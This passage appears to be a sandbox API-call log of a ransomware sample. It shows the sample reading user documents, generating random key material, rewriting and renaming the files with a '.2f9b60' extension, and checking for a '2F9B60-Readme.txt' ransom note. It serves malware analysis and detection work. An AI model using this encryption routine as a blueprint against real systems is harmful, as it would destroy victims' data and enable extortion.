NtPathName=0x2231fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b7149b6de65267065.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce108f0 [0092.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.697] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x2231fdb8, FileInformation=0x2231fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2231fdb8, FileInformation=0x2231fdc8) returned 0x0 [0092.697] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x2231fdb8, FileInformation=0x2231fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784010) returned 1 [0092.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0092.699] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.700] CloseHandle (hObject=0xcfc) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dc70 [0092.701] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.701] wcscat (in: _Dest=0x1b79dc70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.701] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 Thread: id = 505 os_tid = 0xcb8 [0092.634] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hwuw.docx")) returned 0x20 [0092.634] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx", dwFileAttributes=0x20) returned 1 [0092.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hwuw.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdb4 [0092.636] GetFileSizeEx (in: hFile=0xdb4, lpFileSize=0x21f4f800 | out: lpFileSize=0x21f4f800*=10146) returned 1 [0092.636] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x279e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.636] ReadFile (in: hFile=0xdb4, lpBuffer=0x21f4f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21f4f7c8, lpOverlapped=0x0 | out: lpBuffer=0x21f4f780*, lpNumberOfBytesRead=0x21f4f7c8*=0x4, lpOverlapped=0x0) returned 1 [0092.637] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0092.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0092.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0092.637] NtQuerySystemTime (in: CurrentTime=0x21f4f6c0 | out: CurrentTime=0x21f4f6c0*=132462176984746000) returned 0x0 [0092.637] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x6a3b5396 [0092.637] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x51dcf042 [0092.637] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x45572807 [0092.637] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x106407ed [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x372ec490 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x1eb62d9c [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x2b4a804e [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x3074230f [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x69a55a7e [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x253ca797 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x6de35a5e [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x5860258c [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x62b8ada8 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x59c0a8b4 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x5f9abf94 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x52e5ca02 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x2d734c6d [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x242ddddf [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x144e222 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x6f9e80c6 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0xbe28606 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x4fafee82 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x22683db0 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x74c2fa41 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x814be54 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x3ea473e2 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x6ad3af55 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x15ee9d8d [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x38d181a5 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x74cf7224 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x6ae77a6 [0092.638] RtlRandomEx (in: Seed=0x21f4f6b0 | out: Seed=0x21f4f6b0) returned 0x65507d60 [0092.648] ReadFile (in: hFile=0xdb4, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x21f4f6b0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x21f4f6b0*=0x27a2, lpOverlapped=0x0) returned 1 [0092.648] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.648] WriteFile (in: hFile=0xdb4, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x27a2, lpNumberOfBytesWritten=0x21f4f6b4, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x21f4f6b4*=0x27a2, lpOverlapped=0x0) returned 1 [0092.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0092.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b650) returned 1 [0092.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0092.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0092.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0092.671] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.671] WriteFile (in: hFile=0xdb4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x21f4f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x21f4f7d0*=0x104, lpOverlapped=0x0) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ade0) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b650) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b170) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0092.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0092.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dc70 [0092.678] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx" [0092.678] wcscat (in: _Dest=0x1b79dc70, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx.2f9b60" [0092.678] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx.2f9b60", NtPathName=0x21f4f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0092.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.681] NtQueryInformationFile (in: FileHandle=0xdb4, IoStatusBlock=0x21f4f858, FileInformation=0x21f4f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21f4f858, FileInformation=0x21f4f868) returned 0x0 [0092.681] NtSetInformationFile (FileHandle=0xdb4, IoStatusBlock=0x21f4f858, FileInformation=0x21f4f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.682] FlushFileBuffers (hFile=0xdb4) returned 1 [0092.689] CloseHandle (hObject=0xdb4) returned 1 [0092.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dc70 [0092.690] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.690] wcscat (in: _Dest=0x1b79dc70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.690] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 Thread: id = 506 os_tid = 0xcbc [0092.704] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I8Vk b 9olXMm.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i8vk b 9olxmm.pps")) returned 0x20 [0092.704] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I8Vk b 9olXMm.pps", dwFileAttributes=0x20) returned 1 [0092.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I8Vk b 9olXMm.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i8vk b 9olxmm.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.705] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x216afc80 | out: lpFileSize=0x216afc80*=24493) returned 1 [0092.705] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x5fa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.705] ReadFile (in: hFile=0xcfc, lpBuffer=0x216afc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x216afc48, lpOverlapped=0x0 | out: lpBuffer=0x216afc00*, lpNumberOfBytesRead=0x216afc48*=0x4, lpOverlapped=0x0) returned 1 [0092.706] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0092.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0092.707] NtQuerySystemTime (in: CurrentTime=0x216afb40 | out: CurrentTime=0x216afb40*=132462176985370000) returned 0x0 [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x5d9838f1 [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x7bb9617 [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x68a47814 [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x22abacb [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x62c0012d [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0xfd8e37a [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x478626d [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x6044ee4b [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x667da91c [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x52916aff [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x749fcb5d [0092.707] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x76de116 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x59e4dd50 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x539c12d9 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x3ea9d170 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x3d79982f [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x6075806b [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x9cb4f63 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x35a69db5 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x122e3628 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0xab1a3b2 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x2b4c74b0 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x4fb46acc [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x60572ef5 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x5b14dfff [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x2f2b7252 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x568c7ab3 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x4a0cd293 [0092.708] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x5f6872b4 [0092.709] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x1318bad1 [0092.709] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x1a2de18c [0092.709] RtlRandomEx (in: Seed=0x216afb30 | out: Seed=0x216afb30) returned 0x152dd60e [0092.719] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.719] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x216afba0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x216afba0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.719] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee90 [0092.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0092.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0092.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0092.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0092.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad50) returned 1 [0092.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0092.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.720] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x216afba0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x216afba0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0092.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f3f0 [0092.727] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.727] WriteFile (in: hFile=0xcfc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x216afc50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x216afc50*=0x114, lpOverlapped=0x0) returned 1 [0092.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee90 [0092.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b230) returned 1 [0092.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85b230 [0092.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0092.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0092.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0092.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82bc20 [0092.732] sprintf (in: _Dest=0x1b82bc20, _Format="%c%c" | out: _Dest="04") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc22, _Format="%c%c" | out: _Dest="09") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc24, _Format="%c%c" | out: _Dest="75") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc26, _Format="%c%c" | out: _Dest="87") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc28, _Format="%c%c" | out: _Dest="f6") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc2a, _Format="%c%c" | out: _Dest="57") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc2c, _Format="%c%c" | out: _Dest="b2") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc2e, _Format="%c%c" | out: _Dest="cc") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc30, _Format="%c%c" | out: _Dest="eb") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc32, _Format="%c%c" | out: _Dest="aa") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc34, _Format="%c%c" | out: _Dest="db") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc36, _Format="%c%c" | out: _Dest="1c") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc38, _Format="%c%c" | out: _Dest="b7") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc3a, _Format="%c%c" | out: _Dest="a7") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc3c, _Format="%c%c" | out: _Dest="64") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc3e, _Format="%c%c" | out: _Dest="ec") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc40, _Format="%c%c" | out: _Dest="6b") returned 2 [0092.732] sprintf (in: _Dest=0x1b82bc42, _Format="%c%c" | out: _Dest="19") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc44, _Format="%c%c" | out: _Dest="8d") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc46, _Format="%c%c" | out: _Dest="36") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc48, _Format="%c%c" | out: _Dest="c1") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc4a, _Format="%c%c" | out: _Dest="6c") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc4c, _Format="%c%c" | out: _Dest="9d") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc4e, _Format="%c%c" | out: _Dest="ca") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc50, _Format="%c%c" | out: _Dest="c5") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc52, _Format="%c%c" | out: _Dest="52") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc54, _Format="%c%c" | out: _Dest="65") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc56, _Format="%c%c" | out: _Dest="5c") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc58, _Format="%c%c" | out: _Dest="9d") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc5a, _Format="%c%c" | out: _Dest="07") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc5c, _Format="%c%c" | out: _Dest="bd") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc5e, _Format="%c%c" | out: _Dest="6b") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc60, _Format="%c%c" | out: _Dest="a1") returned 2 [0092.733] sprintf (in: _Dest=0x1b82bc62, _Format="%c%c" | out: _Dest="d1") returned 2 [0092.733] RtlInitAnsiString (in: DestinationString=0x216afcc8, SourceString="04097587f657b2ccebaadb1cb7a764ec6b198d36c16c9dcac552655c9d07bd6ba1d1" | out: DestinationString="04097587f657b2ccebaadb1cb7a764ec6b198d36c16c9dcac552655c9d07bd6ba1d1") [0092.733] RtlAnsiStringToUnicodeString (in: DestinationString=0x216afc98, SourceString="04097587f657b2ccebaadb1cb7a764ec6b198d36c16c9dcac552655c9d07bd6ba1d1", AllocateDestinationString=1 | out: DestinationString="04097587f657b2ccebaadb1cb7a764ec6b198d36c16c9dcac552655c9d07bd6ba1d1") returned 0x0 [0092.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad2a0 [0092.734] wcscat (in: _Dest=0x1b784010, _Source="04097587f657b2cce" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\04097587f657b2cce") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\04097587f657b2cce" [0092.734] wcscat (in: _Dest=0x1b784010, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\04097587f657b2cce.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\04097587f657b2cce.2f9b60" [0092.734] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\04097587f657b2cce.2f9b60", NtPathName=0x216afc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\04097587f657b2cce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.734] RtlAllocateHeap 